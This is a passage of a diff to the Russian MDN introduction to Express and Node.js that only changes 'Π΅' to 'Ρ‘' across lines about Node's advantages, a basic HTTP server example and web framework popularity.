<li><span id="result_box" lang="ru"><span>Код написан Π½Π° Β«ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ старом JavaScriptΒ», Π° это ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ затрачиваСтся мСньшС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΏΡ€ΠΈ написании ΠΊΠΎΠ΄Π° для Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ Π²Π΅Π±-сСрвСра связанноС с  Β«ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉΒ» ΠΌΠ΅ΠΆΠ΄Ρƒ языками.</span></span></li>
<li><span id="result_box" lang="ru"><span>JavaScript являСтся ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½ΠΎΠ²Ρ‹ΠΌ языком программирования ΠΈ ΠΈΠΌΠ΅Π΅Ρ‚ прСимущСства ΠΎΡ‚ ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½ΠΈΡ Π΄ΠΈΠ·Π°ΠΉΠ½Π° языка ΠΏΠΎ ΡΡ€Π°Π²Π½Π΅Π½ΠΈΡŽ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹ΠΌΠΈ языками для Π²Π΅Π±-сСрвСров</span></span> (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Python, PHP, ΠΈ Ρ‚.Π΄.). МногиС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π½ΠΎΠ²Ρ‹Π΅ ΠΈ популярныС языки ΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΡƒΡŽΡ‚ΡΡ/ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΡƒΡŽΡ‚ΡΡ Π² JavaScript, поэтому Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ CoffeeScript, ClosureScript, Scala, LiveScript, etc.</li>
- <li>ΠœΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Node (NPM) <span id="result_box" lang="ru"><span>обСспСчиваСт доступ ΠΊ сотням тысяч ΠΌΠ½ΠΎΠ³ΠΎΡ€Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ².</span> <span>Он Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠ΅Π΅ Π² своСм классС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ зависимостСй ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° инструмСнтов построСния.</span></span></li>
+ <li>ΠœΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² Node (NPM) <span id="result_box" lang="ru"><span>обСспСчиваСт доступ ΠΊ сотням тысяч ΠΌΠ½ΠΎΠ³ΠΎΡ€Π°Π·ΠΎΠ²Ρ‹Ρ… ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ².</span> <span>Он Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π»ΡƒΡ‡ΡˆΠ΅Π΅ Π² своём классС Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ зависимостСй ΠΈ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для Π°Π²Ρ‚ΠΎΠΌΠ°Ρ‚ΠΈΠ·Π°Ρ†ΠΈΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π° инструмСнтов построСния.</span></span></li>
<li>Он ΠΏΠΎΡ€Ρ‚Π°Ρ‚ΠΈΠ²Π΅Π½, ΠΈΠΌΠ΅Π΅Ρ‚ вСрсии для  Microsoft Windows, OS X, Linux, Solaris, FreeBSD, OpenBSD, WebOS, ΠΈ NonStop OS. ΠšΡ€ΠΎΠΌΠ΅ Ρ‚ΠΎΠ³ΠΎ, ΠΎΠ½ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ…ΠΎΡ€ΠΎΡˆΡƒΡŽ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ срСди ΠΌΠ½ΠΎΠ³ΠΈΡ… хостинг-ΠΏΡ€ΠΎΠ²Π°ΠΉΠ΄Π΅Ρ€ΠΎΠ², <span id="result_box" lang="ru"><span>ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ часто ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡŽΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΡƒΡŽ инфраструктуру ΠΈ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΡŽ для размСщСния сайтов, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΡ… Π½Π° Node.</span></span></li>
<li><span id="result_box" lang="ru"><span>Он ΠΈΠΌΠ΅Π΅Ρ‚ ΠΎΡ‡Π΅Π½ΡŒ Π°ΠΊΡ‚ΠΈΠ²Π½ΡƒΡŽ ΡΡ‚ΠΎΡ€ΠΎΠ½Π½ΡŽΡŽ экосистСму ΠΈ сообщСство Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ всСгда Π³ΠΎΡ‚ΠΎΠ²Ρ‹ ΠΏΠΎΠΌΠΎΡ‡ΡŒ.</span></span></li>
</ul>
@@ -43,7 +43,7 @@ translation_of: Learn/Server-side/Express_Nodejs/Introduction
<ol>
<li>ΠžΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Π°Π»Β (Π² Windows ΠΎΠΊΠ½ΠΎ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ строки)</li>
- <li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΏΠ°ΠΏΠΊΡƒ, ΠΊΡƒΠ΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΡƒΒ <code>test-node</code>Β ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² Π½Π΅Π΅ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹:</li>
+ <li>Π‘ΠΎΠ·Π΄Π°ΠΉΡ‚Π΅ ΠΏΠ°ΠΏΠΊΡƒ, ΠΊΡƒΠ΄Π° Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΡƒΒ <code>test-node</code>Β ΠΈ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π² Π½Π΅Ρ‘ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΉ ΠΊΠΎΠΌΠ°Π½Π΄Ρ‹:</li>
</ol>
<pre class="notranslate"><code>cd test-node</code></pre>
@@ -58,7 +58,7 @@ const http = require("http");
const hostname = "127.0.0.1";
const port = 8000;
-// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ HTTP-сСрвСр
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ HTTP-сСрвСр
const server = http.createServer((req, res) =&gt; {
// УстанавливаСм HTTP-Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΎΡ‚Π²Π΅Ρ‚Π° с HTTP статусом ΠΈ Content type
@@ -114,7 +114,7 @@ server.listen(port, hostname, () =&gt; {
<p>ΠŸΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ Π²Π΅Π±-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠ° Π²Π°ΠΆΠ½Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½Π° являСтся ΠΈΠ½Π΄ΠΈΠΊΠ°Ρ‚ΠΎΡ€ΠΎΠΌ Ρ‚ΠΎΠ³ΠΎ, Π±ΡƒΠ΄Π΅Ρ‚ Π»ΠΈ ΠΎΠ½Π° ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΡΡ, ΠΈ ΠΊΠ°ΠΊΠΈΠ΅ рСсурсы, вСроятно, Π±ΡƒΠ΄ΡƒΡ‚ доступны с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΈ, Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Π±ΠΈΠ±Π»ΠΈΠΎΡ‚Π΅ΠΊ ΠΈ тСхничСской ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ.</p>
-<p>НС сущСствуСт ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ доступного ΠΈ Ρ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ измСрСния популярности сСрвСрных Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ²Β (хотя сайты, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Hot Frameworks, ΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ ΠΎΡ†Π΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π°ΠΊΠΈΠ΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹, ΠΊΠ°ΠΊ подсчСт количСства ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² Π½Π° GitHub ΠΈ вопросов Π½Π° StackOverflow для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹). Π›ΡƒΡ‡ΡˆΠΈΠΉ вопрос Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, достаточно Π»ΠΈ популярны Node ΠΈ Express, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с нСпопулярными ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ. Они ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡŽΡ‚ Ρ€Π°Π·Π²ΠΈΠ²Π°Ρ‚ΡŒΡΡ? ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠΌΠΎΡ‰ΡŒ, Ссли Π²Π°ΠΌ это Π½ΡƒΠΆΠ½ΠΎ? Π•ΡΡ‚ΡŒ Π»ΠΈ Ρƒ вас Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΠΏΠ»Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Ссли Π²Ρ‹ ΠΈΠ·ΡƒΡ‡Π°Π΅Ρ‚Π΅ Express?</p>
+<p>НС сущСствуСт ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Π»ΠΈΠ±ΠΎ доступного ΠΈ Ρ‚ΠΎΡ‡Π½ΠΎΠ³ΠΎ измСрСния популярности сСрвСрных Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΎΠ²Β (хотя сайты, Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠ°ΠΊ Hot Frameworks, ΠΏΡ‹Ρ‚Π°ΡŽΡ‚ΡΡ ΠΎΡ†Π΅Π½ΠΈΡ‚ΡŒ ΠΏΠΎΠΏΡƒΠ»ΡΡ€Π½ΠΎΡΡ‚ΡŒ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Ρ‚Π°ΠΊΠΈΠ΅ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌΡ‹, ΠΊΠ°ΠΊ подсчёт количСства ΠΏΡ€ΠΎΠ΅ΠΊΡ‚ΠΎΠ² Π½Π° GitHub ΠΈ вопросов Π½Π° StackOverflow для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΡ‹). Π›ΡƒΡ‡ΡˆΠΈΠΉ вопрос Π·Π°ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ Π² Ρ‚ΠΎΠΌ, достаточно Π»ΠΈ популярны Node ΠΈ Express, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·Π±Π΅ΠΆΠ°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ с нСпопулярными ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°ΠΌΠΈ. Они ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°ΡŽΡ‚ Ρ€Π°Π·Π²ΠΈΠ²Π°Ρ‚ΡŒΡΡ? ΠœΠΎΠΆΠ΅Ρ‚Π΅ Π»ΠΈ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΏΠΎΠΌΠΎΡ‰ΡŒ, Ссли Π²Π°ΠΌ это Π½ΡƒΠΆΠ½ΠΎ? Π•ΡΡ‚ΡŒ Π»ΠΈ Ρƒ вас Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΎΠΏΠ»Π°Ρ‡ΠΈΠ²Π°Π΅ΠΌΡƒΡŽ Ρ€Π°Π±ΠΎΡ‚Ρƒ, Ссли Π²Ρ‹ ΠΈΠ·ΡƒΡ‡Π°Π΅Ρ‚Π΅ Express?</p>
<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ посмотрим Π½Π° список <a href="https://expressjs.com/en/resources/companies-using-express.html">ΡˆΠΈΡ€ΠΎΠΊΠΎΠΈΠ·Π²Π΅ΡΡ‚Π½Ρ‹Ρ… ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΉ</a>Β ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‰ΠΈΡ…ΡΡ Express, количСство Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… Π² Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ Express, ΠΈ Π³Ρ€ΠΎΠΌΠ°Π΄Π½ΠΎΠΌΡƒ числу людСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π·Π°Π½ΠΈΠΌΠ°ΡŽΡ‚ΡΡ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ Express, Ρ‚ΠΎ ΠΌΡ‹ с ΡƒΠ²Π΅Ρ€Π΅Π½Π½ΠΎΡΡ‚ΡŒΡŽ скаТСм -Β Β <em>Express</em> поистинС популярный Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊ!</p>
@@ -122,7 +122,7 @@ server.listen(port, hostname, () =&gt; {
<p>Web-Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ часто принято Π΄Π΅Π»ΠΈΡ‚ΡŒ Π½Π°Β "ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅" ΠΈ "Π½Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅".</p>
-<p>ΠžΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ "Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ" ограничСниям ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡.Β Π”ΠΎΠ²ΠΎΠ»ΡŒΠ½ΠΎ часто ΠΎΠ½ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π° ΡƒΡΠΊΠΎΡ€Π΅Π½Π½ΡƒΡŽ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ <em>Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ области</em>Β  (Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°), ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Β  ΠΊ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΉ Π·Π°Π΄Π°Ρ‡Π΅ Π±Ρ‹Π²Π°Π΅Ρ‚ Π½Π΅ прост для понимания ΠΈ ΠΏΠ»ΠΎΡ…ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½. ΠŸΡ€ΠΈ этом ΠΎΠ½ΠΈ Π»ΠΈΡˆΠ°ΡŽΡ‚ΡΡ гибкости ΠΏΡ€ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ Π·Π°Π΄Π°Ρ‡ выходящих за сфСру ΠΈΡ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ примСнСния, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€ΠΎΡΠ²Π»ΡΡŽΡ‚ Ρ‚Π΅Π½Π΄Π΅Π½Ρ†ΠΈΡŽ ΠΊ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡŽ Π²Ρ‹Π±ΠΎΡ€Π° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² ΠΈ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΎΠ² своСго примСнСния.Β </p>
+<p>ΠžΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠΌΠΈ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ ΡΡ‡ΠΈΡ‚Π°ΡŽΡ‚ΡΡ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‚ "Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΌ" ограничСниям ΠΏΡ€ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… Π·Π°Π΄Π°Ρ‡.Β Π”ΠΎΠ²ΠΎΠ»ΡŒΠ½ΠΎ часто ΠΎΠ½ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π° ΡƒΡΠΊΠΎΡ€Π΅Π½Π½ΡƒΡŽ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΡƒ <em>Π² ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ области</em>Β  (Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Ρ‚ΠΈΠΏΠ°), ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ΠΉ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄Β  ΠΊ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ»ΡŒΠ½ΠΎ Π²Ρ‹Π±Ρ€Π°Π½Π½ΠΎΠΉ Π·Π°Π΄Π°Ρ‡Π΅ Π±Ρ‹Π²Π°Π΅Ρ‚ Π½Π΅ прост для понимания ΠΈ ΠΏΠ»ΠΎΡ…ΠΎ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½. ΠŸΡ€ΠΈ этом ΠΎΠ½ΠΈ Π»ΠΈΡˆΠ°ΡŽΡ‚ΡΡ гибкости ΠΏΡ€ΠΈ Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ Π·Π°Π΄Π°Ρ‡ выходящих за сфСру ΠΈΡ… ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠ³ΠΎ примСнСния, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΏΡ€ΠΎΡΠ²Π»ΡΡŽΡ‚ Ρ‚Π΅Π½Π΄Π΅Π½Ρ†ΠΈΡŽ ΠΊ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡŽ Π²Ρ‹Π±ΠΎΡ€Π° ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ² ΠΈ ΠΏΠΎΠ΄Ρ…ΠΎΠ΄ΠΎΠ² своСго примСнСния.Β </p>
<p>Напротив, Π½Π΅ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡ΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ Ρ„Ρ€Π΅ΠΉΠΌΠ²ΠΎΡ€ΠΊΠΈ ΠΈΠΌΠ΅ΡŽΡ‚ Π³ΠΎΡ€Π°Π·Π΄ΠΎ мСньшС ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ для связи ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ², Ρ‡Ρ‚ΠΎ Π±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ Ρ†Π΅Π»ΠΈ ΠΈΠ»ΠΈ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΠΉ Π² Π²Ρ‹Π±ΠΎΡ€Π΅Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Ρ…Β ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚ΠΎΠ². Они ΠΎΠ±Π»Π΅Π³Ρ‡Π°ΡŽΡ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°ΠΌ использованиС Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ подходящих инструмСнтов для выполнСния ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ Π·Π°Π΄Π°Ρ‡ΠΈ, Π½ΠΎ ΠΏΠ»Π°Ρ‚ΠΎΠΉ Π·Π° это Π±ΡƒΠ΄Π΅Ρ‚ Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°ΠΉΡ‚ΠΈ Ρ‚Π°ΠΊΠΈΠ΅ ΠΊΠΎΠΌΠΏΠΎΠ½Π΅Π½Ρ‚Ρ‹.</p>
@@ -130,7 +130,7 @@ server.listen(port, hostname, () =&gt; {
<h2 id="Как_выглядит_ΠΊΠΎΠ΄_Express">Как выглядит ΠΊΠΎΠ΄ Express?</h2>
-<p>Π’ Ρ‚Ρ€Π°Π΄ΠΈΡ†ΠΈΠΎΠ½Π½Ρ‹Ρ… динамичСских Π²Π΅Π±-сайтах, Π²Π΅Π±-ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚ HTTP-запроса ΠΎΡ‚ Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° (ΠΈΠ»ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Π°). Когда запрос ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½, ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ опрСдСляСт, ΠΊΠ°ΠΊΠΎΠ΅ дСйствиС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ Π½Π° основС URL шаблона ΠΈ, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, связанной ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, содСрТащСйся Π² Π΄Π°Π½Π½Ρ‹Ρ…Β <code>POST</code> ΠΈΠ»ΠΈΒ <code>GET</code>. Π’ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ трСбуСтся, Express ΠΌΠΎΠΆΠ΅Ρ‚ Π·Π°Ρ‚Π΅ΠΌ Ρ‡ΠΈΡ‚Π°Ρ‚ΡŒ ΠΈΠ»ΠΈ Π·Π°ΠΏΠΈΡΡ‹Π²Π°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈΠ·/Π² Π±Π°Π·Ρ‹ Π΄Π°Π½Π½Ρ‹Ρ… ΠΈΠ»ΠΈ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π·Π°Π΄Π°Ρ‡ΠΈ, Π² соотвСтствии с ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΌ запросом. Π—Π°Ρ‚Π΅ΠΌ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΡ‚Π²Π΅Ρ‚ Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, Π·Π°Ρ‡Π°ΡΡ‚ΡƒΡŽ динамичСски создавая HTML страницу для 